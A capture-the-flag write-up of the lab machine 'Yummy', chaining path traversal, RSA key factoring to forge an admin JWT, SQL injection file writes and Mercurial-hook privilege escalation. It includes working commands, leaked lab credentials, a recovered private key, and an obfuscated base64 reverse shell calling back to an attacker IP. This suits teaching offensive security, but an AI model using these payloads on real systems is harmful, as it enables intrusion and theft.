Yummy

Port Scan
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNb9gG2HwsjMe4EUwFdFE9H8NguzJkfCboW4CveSS+cr2846RitFyzx3a9t4X7S3xE3OgLnmgj8PtKCcOnVh8nQ=
|   256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEZKWYurAF2kFS4bHCSCBvsQ+55/NxhAtZGCykcOx9b6
80/tcp open  http    syn-ack ttl 63 Caddy httpd
| http-methods: 
|_  Supported Methods: POST HEAD OPTIONS GET
|_http-favicon: Unknown favicon MD5: 0C6ECE85EA540E6ABEBA19B1436C17E2
|_http-title: Yummy
|_http-server-header: CaddyAn initial Nmap scan detects an SSH service running on port 22 and a nginx web server on port 80 .
To access the webapp lets add it to our /etc/hosts file
sudo echo "10.10.11.36 yummy.htb"| sudo tee -a /etc/hostsWeb App Enumeration
Visiting the website we find that it belongs to a restaurant named yummy.
I notice a register and login feature so i created an account.
There is also a Book A Table button so lets check it out

The page was a form that takes in some basic information so ijust fill this out. after confirming it says i can mange the appointment at our account, so i head to the Dashboard page

we get a download button labeled Save iCalendar. Clicking it triggers a request to:


Lets take a look at the request to understand what happens.
The page makes a request to /export/Yummy_reservation.... This immediately raises a question: is the export endpoint reading files from the server?  Or does it look for files on the system.  maybe it's vulnerable to path traversal ?

At first, simply repeating the /export request fails with a 500 error. However, replaying both:
- /reminder/<id>
- Then - /export/<file>
in sequence using Burp Repeater → Grouped requests works.


Now trying the path traversal on the /etc/passwd file and we actully got it. his indicates the server does not sanitize file paths correctly, allowing access to sensitive files.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:102:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:103:104::/nonexistent:/usr/sbin/nologin
uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin
tss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
dev:x:1000:1000:dev:/home/dev:/bin/bash
mysql:x:110:110:MySQL Server,,,:/nonexistent:/bin/false
caddy:x:999:988:Caddy web server:/var/lib/caddy:/usr/sbin/nologin
postfix:x:111:112::/var/spool/postfix:/usr/sbin/nologin
qa:x:1001:1001::/home/qa:/bin/bash
_laurel:x:996:987::/var/log/laurel:/bin/false
Let’s check the crontab using the same method to check for interesting entries:
And we actually find 3 files,
app_backup.sh is just a file that is used in all boxes to reset it to default. but lets check the other files for information
/export/../../../../../../etc/crontab*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh
/export/../../../../../data/scripts/dbmonitor.shwe don't find anything important in the dbmonitor.sh file
#!/bin/bash
timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)
[** SNIP **]/export/../../../../../data/scripts/table_cleanup.sh #!/bin/sh
/usr/bin/mysql -h localhost -u chef yummy_db -p'3wDo7gSRZIwIHRxZ!' < /data/scripts/sqlappointments.sqlFrom /data/scripts/table_cleanup.sh we find:
Username: chef
Password: 3wDo7gSRZIwIHRxZ!
DB: yummy_dbReading the source code
Now, since we can read files on the system, why not read the website source code. But there's the problem of not knowing the file location, so let's try a little trick
we'll use /proc/self/cwd
- This is a symbolic link that points to the current working directory of the process that accesses it. 
- So If you reference - /proc/self/cwd/app.py, it resolves to- app.pyin the current working directory of the process. Which gives us the source code.
/export/../../../../proc/self/cwd/app.pyfrom flask import Flask, request, send_file, render_template, redirect, url_for, flash, jsonify, make_response
import tempfile
import os
import shutil
from datetime import datetime, timedelta, timezone
from urllib.parse import quote
from ics import Calendar, Event
from middleware.verification import verify_token
from config import signature
import pymysql.cursors
from pymysql.constants import CLIENT
import jwt
import secrets
import hashlib
app = Flask(__name__, static_url_path='/static')
temp_dir = ''
app.secret_key = secrets.token_hex(32)
db_config = {
    'host': '127.0.0.1',
    'user': 'chef',
    'password': '3wDo7gSRZIwIHRxZ!',
    'database': 'yummy_db',
    'cursorclass': pymysql.cursors.DictCursor,
    'client_flag': CLIENT.MULTI_STATEMENTS
}
access_token = ''
@app.route('/login', methods=['GET','POST'])
def login():
    global access_token
    if request.method == 'GET':
        return render_template('login.html', message=None)
    elif request.method == 'POST':
        email = request.json.get('email')
        password = request.json.get('password')
        password2 = hashlib.sha256(password.encode()).hexdigest()
        if not email or not password:
            return jsonify(message="email or password is missing"), 400
        connection = pymysql.connect(**db_config)
        try:
            with connection.cursor() as cursor:
                sql = "SELECT * FROM users WHERE email=%s AND password=%s"
                cursor.execute(sql, (email, password2))
                user = cursor.fetchone()
                if user:
                    payload = {
                        'email': email,
                        'role': user['role_id'],
                        'iat': datetime.now(timezone.utc),
                        'exp': datetime.now(timezone.utc) + timedelta(seconds=3600),
                        'jwk':{'kty': 'RSA',"n":str(signature.n),"e":signature.e}
                    }
                    access_token = jwt.encode(payload, signature.key.export_key(), algorithm='RS256')
                    response = make_response(jsonify(access_token=access_token), 200)
                    response.set_cookie('X-AUTH-Token', access_token)
                    return response
                else:
                    return jsonify(message="Invalid email or password"), 401
        finally:
            connection.close()
@app.route('/logout', methods=['GET'])
def logout():
    response = make_response(redirect('/login'))
    response.set_cookie('X-AUTH-Token', '')
    return response
@app.route('/register', methods=['GET', 'POST'])
def register():
        if request.method == 'GET':
            return render_template('register.html', message=None)
        elif request.method == 'POST':
            role_id = 'customer_' + secrets.token_hex(4)
            email = request.json.get('email')
            password = hashlib.sha256(request.json.get('password').encode()).hexdigest()
            if not email or not password:
                return jsonify(error="email or password is missing"), 400
            connection = pymysql.connect(**db_config)
            try:
                with connection.cursor() as cursor:
                    sql = "SELECT * FROM users WHERE email=%s"
                    cursor.execute(sql, (email,))
                    existing_user = cursor.fetchone()
                    if existing_user:
                        return jsonify(error="Email already exists"), 400
                    else:
                        sql = "INSERT INTO users (email, password, role_id) VALUES (%s, %s, %s)"
                        cursor.execute(sql, (email, password, role_id))
                        connection.commit()
                        return jsonify(message="User registered successfully"), 201
            finally:
                connection.close()
@app.route('/', methods=['GET', 'POST'])
def index():
    return render_template('index.html')
@app.route('/book', methods=['GET', 'POST'])
def export():
    if request.method == 'POST':
        try:
            name = request.form['name']
            date = request.form['date']
            time = request.form['time']
            email = request.form['email']
            num_people = request.form['people']
            message = request.form['message']
            connection = pymysql.connect(**db_config)
            try:
                with connection.cursor() as cursor:
                    sql = "INSERT INTO appointments (appointment_name, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message, role_id) VALUES (%s, %s, %s, %s, %s, %s, %s)"
                    cursor.execute(sql, (name, email, date, time, num_people, message, 'customer'))
                    connection.commit()
                    flash('Your booking request was sent. You can manage your appointment further from your account. Thank you!', 'success')  
            except Exception as e:
                print(e)
            return redirect('/#book-a-table')
        except ValueError:
            flash('Error processing your request. Please try again.', 'error')
    return render_template('index.html')
def generate_ics_file(name, date, time, email, num_people, message):
    global temp_dir
    temp_dir = tempfile.mkdtemp()
    current_date_time = datetime.now()
    formatted_date_time = current_date_time.strftime("%Y%m%d_%H%M%S")
    cal = Calendar()
    event = Event()
    
    event.name = name
    event.begin = datetime.strptime(date, "%Y-%m-%d")
    event.description = f"Email: {email}\nNumber of People: {num_people}\nMessage: {message}"
    
    cal.events.add(event)
    temp_file_path = os.path.join(temp_dir, quote('Yummy_reservation_' + formatted_date_time + '.ics'))
    with open(temp_file_path, 'w') as fp:
        fp.write(cal.serialize())
    return os.path.basename(temp_file_path)
@app.route('/export/<path:filename>')
def export_file(filename):
    validation = validate_login()
    if validation is None:
        return redirect(url_for('login'))
    filepath = os.path.join(temp_dir, filename)
    if os.path.exists(filepath):
        content = send_file(filepath, as_attachment=True)
        shutil.rmtree(temp_dir)
        return content
    else:
        shutil.rmtree(temp_dir)
        return "File not found", 404
def validate_login():
    try:
        (email, current_role), status_code = verify_token()
        if email and status_code == 200 and current_role == "administrator":
            return current_role
        elif email and status_code == 200:
            return email
        else:
            raise Exception("Invalid token")
    except Exception as e:
        return None
@app.route('/dashboard', methods=['GET', 'POST'])
def dashboard():
        validation = validate_login()
        if validation is None:
            return redirect(url_for('login'))
        elif validation == "administrator":
            return redirect(url_for('admindashboard'))
 
        connection = pymysql.connect(**db_config)
        try:
            with connection.cursor() as cursor:
                sql = "SELECT appointment_id, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message FROM appointments WHERE appointment_email = %s"
                cursor.execute(sql, (validation,))
                connection.commit()
                appointments = cursor.fetchall()
                appointments_sorted = sorted(appointments, key=lambda x: x['appointment_id'])
        finally:
            connection.close()
        return render_template('dashboard.html', appointments=appointments_sorted)
@app.route('/delete/<appointID>')
def delete_file(appointID):
    validation = validate_login()
    if validation is None:
        return redirect(url_for('login'))
    elif validation == "administrator":
        connection = pymysql.connect(**db_config)
        try:
            with connection.cursor() as cursor:
                sql = "DELETE FROM appointments where appointment_id= %s;"
                cursor.execute(sql, (appointID,))
                connection.commit()
                sql = "SELECT * from appointments"
                cursor.execute(sql)
                connection.commit()
                appointments = cursor.fetchall()
        finally:
            connection.close()
            flash("Reservation deleted successfully","success")
            return redirect(url_for("admindashboard"))
    else:
        connection = pymysql.connect(**db_config)
        try:
            with connection.cursor() as cursor:
                sql = "DELETE FROM appointments WHERE appointment_id = %s AND appointment_email = %s;"
                cursor.execute(sql, (appointID, validation))
                connection.commit()
                sql = "SELECT appointment_id, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message FROM appointments WHERE appointment_email = %s"
                cursor.execute(sql, (validation,))
                connection.commit()
                appointments = cursor.fetchall()
        finally:
            connection.close()
            flash("Reservation deleted successfully","success")
            return redirect(url_for("dashboard"))
        flash("Something went wrong!","error")
        return redirect(url_for("dashboard"))
@app.route('/reminder/<appointID>')
def reminder_file(appointID):
    validation = validate_login()
    if validation is None:
        return redirect(url_for('login'))
    connection = pymysql.connect(**db_config)
    try:
        with connection.cursor() as cursor:
            sql = "SELECT appointment_id, appointment_name, appointment_email, appointment_date, appointment_time, appointment_people, appointment_message FROM appointments WHERE appointment_email = %s AND appointment_id = %s"
            result = cursor.execute(sql, (validation, appointID))
            if result != 0:
                connection.commit()
                appointments = cursor.fetchone()
                filename = generate_ics_file(appointments['appointment_name'], appointments['appointment_date'], appointments['appointment_time'], appointments['appointment_email'], appointments['appointment_people'], appointments['appointment_message'])
                connection.close()
                flash("Reservation downloaded successfully","success")
                return redirect(url_for('export_file', filename=filename))
            else:
                flash("Something went wrong!","error")
    except:
        flash("Something went wrong!","error")
        
    return redirect(url_for("dashboard"))
@app.route('/admindashboard', methods=['GET', 'POST'])
def admindashboard():
        validation = validate_login()
        if validation != "administrator":
            return redirect(url_for('login'))
 
        try:
            connection = pymysql.connect(**db_config)
            with connection.cursor() as cursor:
                sql = "SELECT * from appointments"
                cursor.execute(sql)
                connection.commit()
                appointments = cursor.fetchall()
                search_query = request.args.get('s', '')
                # added option to order the reservations
                order_query = request.args.get('o', '')
                sql = f"SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}"
                cursor.execute(sql, ('%' + search_query + '%',))
                connection.commit()
                appointments = cursor.fetchall()
            connection.close()
            
            return render_template('admindashboard.html', appointments=appointments)
        except Exception as e:
            flash(str(e), 'error')
            return render_template('admindashboard.html', appointments=appointments)
if __name__ == '__main__':
    app.run(threaded=True, debug=False, host='0.0.0.0', port=3000)
Now, this code is huge, so let's dissect it and see the most important parts.
The first thing that catches our eyes is that it imports signature.py from /config and
verfication.py from /middleware so these are 2 more files we need to check out.
Another interesting thing is the admin and verification methods.
So what we find is there's a page called /admindashboard to access this page if first checks our cookie and look for the administrator in the role header. Also looking, I notice that it's vulnerable to SQL injection (SQLI)
/export/../../proc/self/cwd/config/signature.py#!/usr/bin/python3
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
# Generate RSA key pair
q = sympy.randprime(2**19, 2**20)
n = sympy.randprime(2**1023, 2**1024) * q
e = 65537
p = n // q
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key_data = {'n': n, 'e': e, 'd': d, 'p': p, 'q': q}
key = RSA.construct((key_data['n'], key_data['e'], key_data['d'], key_data['p'], key_data['q']))
private_key_bytes = key.export_key()
private_key = serialization.load_pem_private_key(
    private_key_bytes,
    password=None,
    backend=default_backend()
)
public_key = private_key.public_key()We find that the prime q is too small. This makes it trivial to factor n and get the private key
/export/../../proc/self/cwd/config/signature.pyThe pair of RSA keys are generated in the config/signature.py. The validation is done in the middleware/verification.py
from flask import request, jsonify
import jwt
from config import signature
def verify_token():
token = None
if "Cookie" in request.headers:
try:
token = request.headers["Cookie"].split(" ")[0].split("X-AUTHToken=")[1].replace(";", '')
except:
return jsonify(message="Authentication Token is missing"), 401
if not token:
return jsonify(message="Authentication Token is missing"), 401
try:
data = jwt.decode(token, signature.public_key, algorithms=["RS256"])
current_role = data.get("role")
email = data.get("email")
if current_role is None or ("customer" not in current_role and
"administrator" not in current_role):
return jsonify(message="Invalid Authentication token"), 401
return (email, current_role), 200
except jwt.ExpiredSignatureError:
return jsonify(message="Token has expired"), 401
except jwt.InvalidTokenError:
return jsonify(message="Invalid token"), 401
except Exception as e:
return jsonify(error=str(e)), 500The verify_token checks for X-AUTH-Token and then decodes the JWT token with the public key to retrieve the current_role as customer or administrator.
With this, we:
- Extract - nand- efrom the token
- Factor - n(using- RsaCtfTool,)
- Forge an administrator token 
So now our mission is to forge an admin cookie and go to the admin dashboard page.
to do this lets first install RsaCtfTool
apt install python3-virtualenv
virtualenv venv
source venv/bin/activate
pip install git+https://github.com/RsaCtfTool/RsaCtfTool
cd src
python3 main.py -n 62041895072436449792996095996664239387740131667871874539007195907228843879579660478870581309635737452588573725443795707971986528155953310137405975926408073707825561392582261471673882022463034818092063691368553575249385171413968198779517782685175220100364616298879878823865011223786035177303382302678569062908140127 -e 65537 --createpub
private argument is not set, the private key will not be displayed, even if recovered.
-----BEGIN PUBLIC KEY-----
MIGhMA0GCSqGSIb3DQEBAQUAA4GPADCBiwKBgwVEH39E4egXk97TVCSx129bOUNV
AgUTkQZC5sShdZ4yqL5wdruRigfPI2z1Mb8sTas3cdrVmCegHJ8caaUGwhP9D72p
f4ymA8ZGc+RXPZn70fH+IKjQp5ECx/HmiTtBkxcD0pkFqNpeNay0L4HNZ8qaVtUm
LaMqSQPTSGbS5bIP7ZpfAgMBAAE=
-----END PUBLIC KEY-----
python3 main.py -n 62041895072436449792996095996664239387740131667871874539007195907228843879579660478870581309635737452588573725443795707971986528155953310137405975926408073707825561392582261471673882022463034818092063691368553575249385171413968198779517782685175220100364616298879878823865011223786035177303382302678569062908140127 -e 65537 --private   
['/tmp/tmp1jl8mqs8']
[*] Testing key /tmp/tmp1jl8mqs8.
attack initialized...
attack initialized...
[*] Performing mersenne_primes attack on /tmp/tmp1jl8mqs8.
 27%|██████████████████▍                                                | 14/51 [00:00<00:00, 307435.90it/s]
[+] Time elapsed: 0.0088 sec.
[*] Performing nonRSA attack on /tmp/tmp1jl8mqs8.
[+] Time elapsed: 0.0012 sec.
[*] Performing fibonacci_gcd attack on /tmp/tmp1jl8mqs8.
100%|███████████████████████████████████████████████████████████████| 9999/9999 [00:00<00:00, 137024.60it/s]
[+] Time elapsed: 0.0736 sec.
[*] Performing smallq attack on /tmp/tmp1jl8mqs8.
[*] Attack success with smallq method !
[+] Total time elapsed min,max,avg: 0.0012/0.0736/0.0279 sec.
Results for /tmp/tmp1jl8mqs8:
Private key :
-----BEGIN RSA PRIVATE KEY-----
MIICqAIBAAKBgwVEH39E4egXk97TVCSx129bOUNVAgUTkQZC5sShdZ4yqL5wdruR
igfPI2z1Mb8sTas3cdrVmCegHJ8caaUGwhP9D72pf4ymA8ZGc+RXPZn70fH+IKjQ
p5ECx/HmiTtBkxcD0pkFqNpeNay0L4HNZ8qaVtUmLaMqSQPTSGbS5bIP7ZpfAgMB
AAECgYMAuxuuINpBp2AzqYgULMwzLMc62v0EjdZMGNBJmuDbHadTmBilt7X5YnW6
DDBGxZ2yscBXwHcHN+0QLK0/LEKpx3Txe83u122zQA1qFCRYQtPBu6ZUIoMOBHjf
uQoxDuhmOAPuVoayKfvJ5aVupurdY+/0eI8KJlttm2BrF2nP2+iKgQKBgQCdwy7W
tZVcaaBPVjF/UJLidBUruPlxAmJPPIVvaGb2vnkLtpXuzgmhlwO7Z55D4u0yZYCF
xOqicHe4kobq82pzkL9rLMENtlXi8jDedCoTyFBl67IiP5qSKACBBd4lo2VxxrMw
ztggZH/9vWB3GsBrFlGV9FECSGseVDkF4i1geQIDCIuXAoGASznQ0czQJbqwGGSP
QZgYEicsGScgukRawFGphtAPmMSGT5GGuNJCQW0S+H+WNeS1GfzQZfjZsQ9T5wzn
jIz5S5XP0LkMbQ9usMKvjsNxdPFldNQIotAVUnAEnYFAxk29h50pwLJA2GFTrpho
sSJuciG4UXqoTiBeA55Beo64+HECAwZDnQKBgE+51ZaZsUCE838IPcDvzdb9GjmX
i+iU86xyc44pXPK3G+H8HB1rfKP6ZucykwM9dlJt7RdF5wOEQeLtE+QhwycR9beH
W1Mmn1/kRGS/JVMyK8wiuy7s1SJBg29lJwB/1iV+V2vv9OzuneDgeDu33LroaO3V
U1UUjO/d/YmiXWeF
-----END RSA PRIVATE KEY-----This works because one of the primes (q) used was too small
Now we forge a new token with role administrator using the recovered private key: 
python3 jwt_tool.py -pk pubkey -pr privkey -S rs256 -I -pc role -pv administrator <JWT token>Use the new token as the X-AUTH-Token cookie and access /admindashboard

From reviewing the source code, we know the admin panel accepts:
- s=→ Search query
- o=→ Sort order (ASC or DESC)
Adding a single qoute to the url resulted in this verbose error confirming SQLI
http://yummy.htb/admindashboard?s=&o=DESC'
We can use sqlmap to dump the database but this didnt reveal anyhting important.
sqlmap -r 'http://yummy.htb/admindashboard?S=test?O=ASC' --batch --level 5 --risk 3 --random-agentAnother thing we can do is to check for permissions.
sqlmap -r admindash.request -p o --privileges
[** SNIP **]
[11:18:28] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.1
[11:18:28] [INFO] fetching database users privileges
[11:18:30] [INFO] retrieved: ''chef'@'localhost''
[11:18:30] [INFO] retrieved: 'FILE'
database management system users privileges:
[*] 'chef'@'localhost' [1]:
    privilege: FILE
[** SNIP **]The DB user has FILE permission which means we can write to files. so the next step should be to write a reverse shell and look for a way to run it.
Lets take a look back at the cronjobs files. Remember the dbmonitor.sh that we ignored befor`e? lets take a close look at how it works
#!/bin/bash
timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)
if [ "$response" != 'active' ]; then
/usr/bin/echo "{\"status\": \"The database is down\", \"time\":
\"$timestamp\"}" > /data/scripts/dbstatus.json
/usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service
is down!!!" root
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null |
/usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
else
if [ -f /data/scripts/dbstatus.json ]; then
if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null;
then
/usr/bin/echo "The database was down at $timestamp. Sending
notification."
/usr/bin/echo "$service was down at $timestamp but came back up." |
/usr/bin/mail -s "$service was down!" root
/usr/bin/rm -f /data/scripts/dbstatus.json
else
/usr/bin/rm -f /data/scripts/dbstatus.json
/usr/bin/echo "The automation failed in some way, attempting to fix
it."
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null |
/usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
fi
else
/usr/bin/echo "Response is OK."
fi
fi
[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.jsonBasiclly this file runs every minute to check if the MYSQL service is working. If it is not active,
- it sets a status and timestamp into a - dbstatus.jsonfile,
- sends a notification to root via email 
- then checks for the latest version of a - fixer-v*script and runs the latest version with- /bin/bash.
Then it checks for dbstatus.json file exists in the /data/scripts directory and grep the word database is down
- sends and email to root saying the service is down. 
- Deletes the dbstatus.json file. 
if If the dbstatus.json file exists but does not contain the phrase "database is down
- Deletes the file. 
- Runs the latest fixer-v* script found in /data/scripts 
If the MySQL service is running, the script simply logs that everything is okay
Since we have file write, we can manually create a dbstatus.json file containing any content that does NOT include "database is down." Once detected, the script will attempt to execute the latest fixer-v* script using /bin/bash . This allows us to introduce a malicious fixer-v2
http://yummy.htb/admindashboard?s=&o=DESC;select "echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE2LjQiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCJiYXNoIikn|base64 -d|bash" into outfile "/data/scripts/fixer-v2.sh";Then write dbstatus.json
DESC;select "hi" into outfile "/data/scripts/dbstatus.json";dont forget to run netcat
nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.36] 36202
mysql@yummy:/var/spool/cron$ whoami
mysql
mysql@yummy:/var/spool/cron$ hostname
yummynow you might see the shell is very unstable and extremly limited to upgrade it we can do the following
python3 -c "import pty;pty.spawn('/bin/bash')"
CTRL+Z
stty raw -echo; fg
export TERM=xtermShell as www-data
Lets look for other users that we can have shell
cat /etc/passwd | grep "sh$
root:x:0:0:root:/root:/bin/bash
dev:x:1000:1000:dev:/home/dev:/bin/bash
qa:x:1001:1001::/home/qa:/bin/bashLets look over to /data/scripts
mysql@yummy:/data/scripts$ ls -la
total 32
drwxrwxrwx 2 root root 4096 Oct 10 15:45 .
drwxr-xr-x 3 root root 4096 Sep 30 08:16 ..
-rw-r--r-- 1 root root   90 Sep 26 15:31 app_backup.sh
-rw-r--r-- 1 root root 1336 Sep 26 15:31 dbmonitor.sh
-rw-r----- 1 root root   60 Oct 10 15:45 fixer-v1.0.1.sh
-rw-r--r-- 1 root root 5570 Sep 26 15:31 sqlappointments.sql
-rw-r--r-- 1 root root  114 Sep 26 15:31 table_cleanup.shThe app_backup.sh script runs every 2 minutes. We can't overwrite it as we don't have direct privileges, but because of the directory permissions, we can simply delete it and rewrite it with our own code.
rm app_backup.sh
rm: remove write-protected regular file 'app_backup.sh'? y
nano app_backup.sh
#!/bin/bash
echo
cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE2LjQiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCJiYXNoIikn | base64 -d | bashnow lets run ncat again and wait for the task to be executed, then we should have a shell as www-data
nc -lnvp 1337
 @yummy:/root$ whoami
www-dataagain lets upgrade the shell we have using:
python3 -c "import pty;pty.spawn('/bin/bash')"
# Then press CTRL+Z to background the shell
CTRL+Z
stty raw -echo; fg
export TERM=xtermShell as qa
Now that we have higher permissions on the system lets further enumerate
In the /var/www directory, the app-qatesting directory is shared between www-data and qa. which means we can access it
www-data@yummy:/var/www$ ls -la
total 6664
drwxr-xr-x 3 www-data www-data 4096 Feb 20 09:38 .
drwxr-xr-x 14 root root 4096 May 27 2024 ..
drwxrwx--- 7 www-data qa 4096 May 28 2024 app-qatesting
-rw-rw-r-- 1 www-data www-data 6807760 Feb 20 09:38 backupapp.zip
lrwxrwxrwx 1 root root 9 May 27 2024 .bash_history -> /dev/nullwww-data@yummy:~/app-qatesting$ ls -la
total 40
drwxrwx--- 7 www-data qa        4096 Oct  8 00:43 .
drwxr-xr-x 3 www-data www-data  4096 Oct 10 15:54 ..
-rw-rw-r-- 1 qa       qa       10852 May 28 14:37 app.py
drwxr-xr-x 3 qa       qa        4096 May 28 14:26 config
drwxrwxr-x 6 qa       qa        4096 May 28 14:37 .hg
drwxr-xr-x 3 qa       qa        4096 May 28 14:26 middleware
drwxr-xr-x 6 qa       qa        4096 May 28 14:26 static
drwxr-xr-x 2 qa       qa        4096 May 28 14:26 templatesUsing the hg log command—similar to git log —we can view the commit history
hg log
changeset:   9:f3787cac6111
[** SNIP **]
 
hg diff -c 9:f3787cac6111
diff -r 0bbf8464d2d2 -r f3787cac6111 app.py
--- a/app.py    Tue May 28 10:34:38 2024 -0400
+++ b/app.py    Tue May 28 10:37:16 2024 -0400
@@ -19,8 +19,8 @@
 
 db_config = {
     'host': '127.0.0.1',
-    'user': 'qa',
-    'password': 'jPAd!XQCtn8Oc@2B',
+    'user': 'chef',
+    'password': '3wDo7gSRZIwIHRxZ!',
     'database': 'yummy_db',
     'cursorclass': pymysql.cursors.DictCursor,
     'client_flag': CLIENT.MULTI_STATEMENTS
[** SNIP **]
 We discover commit 5:6c59496d5251 contains DB creds:
'user': 'qa'
'password': 'jPAd!XQCtn8Oc@2B'Using these creds we can ssh:
ssh qa@yummy.htb
qa@yummy.htb's password:
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-31-generic x86_64)
qa@yummy:~$ ls
user.txtShell as dev
sudo -l
[sudo] password for qa:
Matching Defaults entries for qa on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty
User qa may run the following commands on localhost:
    (dev : dev) /usr/bin/hg pull /home/dev/app-production/This means we can execute hg pull as dev.
At first glance, this doesn’t seem too dangerous, it’s just a version control operation using Mercurial (hg). But when you understand how Mercurial hooks work and how sudo handles file access, it becomes a powerful weapon.
What is hg pull?
hg pull fetches new changesets from a remote Mercurial repository. If hooks are defined (e.g., changegroup, pretxnchangegroup, etc.), they get triggered automatically during certain stages of this pull.
Since we're running:
sudo -u dev /usr/bin/hg pull /home/dev/app-production/The pull is executed as the dev user. And when hg pull runs, it uses the Mercurial configuration (hgrc) of the repository into which it's pulling. not the one it's pulling from.
So if we control the target repo (which we do), and we define a hook inside .hg/hgrc, it will be executed as dev when hg pull is run.
Understand the Context:
- We can’t modify - dev’s- ~/.hgrc→ no access.
- We can’t modify the source repo - /home/dev/app-production→ it’s owned by- dev.
- But we can create our own repo in - /tmp/, which is where the hook will run!
- First lets create a test repo 
mkdir /tmp/testing
cd /tmp/testing
hg init- Create a malicious hook script: 
This script just spawns an interactive shell.
echo '#!/bin/bash' > script.sh
echo 'bash' >> script.sh
chmod +x script.sh- Add a Mercurial hook to execute the script: 
We tell Mercurial to run this script during a changegroup operation (i.e., pull):
echo -e "[hooks]\nchangegroup = /tmp/testing/script.sh" > .hg/hgrc
chmod 777 .hg  # Ensure `dev` can read itNow we are ready to execute the pull request
sudo -u dev /usr/bin/hg pull /home/dev/app-production/
pulling from /home/dev/app-production/
requesting all changes
adding changesets
adding manifests
adding file changes
added 6 changesets with 129 changes to 124 files
new changesets f54c91c7fae8:6c59496d5251
I'm out of office until June  3th, don't call me
dev@yummy:/tmp/testing$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev)We now have a shell as dev
